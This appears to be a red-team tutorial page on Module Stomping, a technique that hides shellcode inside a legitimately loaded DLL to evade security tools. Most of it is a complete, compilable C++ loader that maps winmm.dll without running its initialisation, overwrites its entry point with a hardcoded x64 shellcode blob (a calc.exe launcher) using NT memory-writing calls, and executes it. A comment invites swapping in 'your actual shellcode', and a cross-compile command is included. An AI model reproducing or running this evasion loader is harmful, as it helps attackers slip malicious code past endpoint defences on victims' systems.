Module Stomping Shellcode Injection
Theory
Module Stomping is an advanced defense evasion technique where an attacker loads a legitimate DLL into memory and then overwrites its executable code (usually the .text
section or entry point) with malicious shellcode. Since the DLL remains mapped in the process memory, traditional security tools might overlook the malicious modifications, assuming it is a legitimate module.
This technique is effective because:
The DLL remains registered in the PEB (Process Environment Block)
Memory scanners may not flag it as suspicious since it appears as a legitimate loaded module
Overwriting the
.text
section allows execution of arbitrary code
Execution Flow
Injects some benign Windows DLL into a remote or local process
Overwrites DLL's, loaded in step 1,
AddressOfEntryPoint
point with shellcodeStarts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2
Practice
The following code implements Module Stomping by loading the winmm.dll
into the current process, and overwrite its .text section with our shellcode.
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>
// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
typedef HMODULE (WINAPI *pLoadLibraryExW)(
LPCWSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);
// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif
// Define DONT_RESOLVE_DLL_REFERENCES if not already defined
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif
DWORD WINAPI esc_main(LPVOID lpParameter)
{
// Shellcode - replace with your actual shellcode
// calc.exe
unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
SIZE_T length = sizeof(decoded);
// Load NT functions dynamically
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
return 1;
}
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
if (!NtWriteVirtualMemory || !NtProtectVirtualMemory) {
std::cerr << "Failed to get addresses of NT functions" << std::endl;
return 1;
}
// Get handle to kernel32.dll to use LoadLibraryExW
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32) {
std::cerr << "Failed to get handle to kernel32.dll" << std::endl;
return 1;
}
pLoadLibraryExW LoadLibraryExW = (pLoadLibraryExW)GetProcAddress(hKernel32, "LoadLibraryExW");
if (!LoadLibraryExW) {
std::cerr << "Failed to get address of LoadLibraryExW" << std::endl;
return 1;
}
// Choose a DLL to stomp - using a non-critical DLL
const wchar_t* dllToStomp = L"winmm.dll";
std::cout << "Loading a fresh copy of the DLL for stomping..." << std::endl;
// Load a fresh copy of the DLL with DONT_RESOLVE_DLL_REFERENCES flag
// This loads the DLL but doesn't execute its initialization routines
HMODULE hModule = LoadLibraryExW(dllToStomp, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hModule) {
std::cerr << "Failed to load module for stomping. Error: " << GetLastError() << std::endl;
return 1;
}
// Get module information
MODULEINFO moduleInfo;
if (!GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))) {
std::cerr << "Failed to get module information. Error: " << GetLastError() << std::endl;
FreeLibrary(hModule);
return 1;
}
std::cout << "Successfully loaded module at address: 0x" << std::hex << moduleInfo.lpBaseOfDll << std::endl;
std::cout << "Module size: " << std::dec << moduleInfo.SizeOfImage << " bytes" << std::endl;
// Find the .text section to overwrite
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)moduleInfo.lpBaseOfDll + dosHeader->e_lfanew);
// Find the entry point
PVOID targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + ntHeader->OptionalHeader.AddressOfEntryPoint);
// If entry point is not suitable, use a fixed offset
if (!targetAddress) {
targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + 0x1000); // Skip PE header
}
std::cout << "Target address for stomping: 0x" << std::hex << targetAddress << std::endl;
// Change memory protection to allow writing
HANDLE hProc = GetCurrentProcess();
DWORD oldProtect = 0;
PVOID baseAddress = targetAddress;
SIZE_T regionSize = length;
NTSTATUS status;
status = NtProtectVirtualMemory(hProc, &baseAddress, ®ionSize, PAGE_READWRITE, &oldProtect);
if (status != 0) {
std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
FreeLibrary(hModule);
return 1;
}
// Write shellcode to the module's memory
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory(hProc, targetAddress, decoded, length, &bytesWritten);
if (status != 0) {
std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
FreeLibrary(hModule);
return 1;
}
std::cout << "Successfully wrote " << std::dec << bytesWritten << " bytes to the module" << std::endl;
// Restore original memory protection
status = NtProtectVirtualMemory(hProc, &baseAddress, ®ionSize, PAGE_EXECUTE_READ, &oldProtect);
if (status != 0) {
std::cerr << "Failed to restore memory protection. Status: " << std::hex << status << std::endl;
FreeLibrary(hModule);
return 1;
}
std::cout << "Executing stomped module code..." << std::endl;
// Execute the shellcode
FARPROC stomped_func = (FARPROC)targetAddress;
stomped_func();
std::cout << "Execution completed" << std::endl;
// Optionally free the library when done
// FreeLibrary(hModule);
return 0;
}
int main()
{
esc_main(NULL);
return 0;
}
We can compile it from linux using following command
x86_64-w64-mingw32-g++ ModuleStomping.cpp -o ModuleStomping.exe -std=c++20 -static
Resources
Last updated
Was this helpful?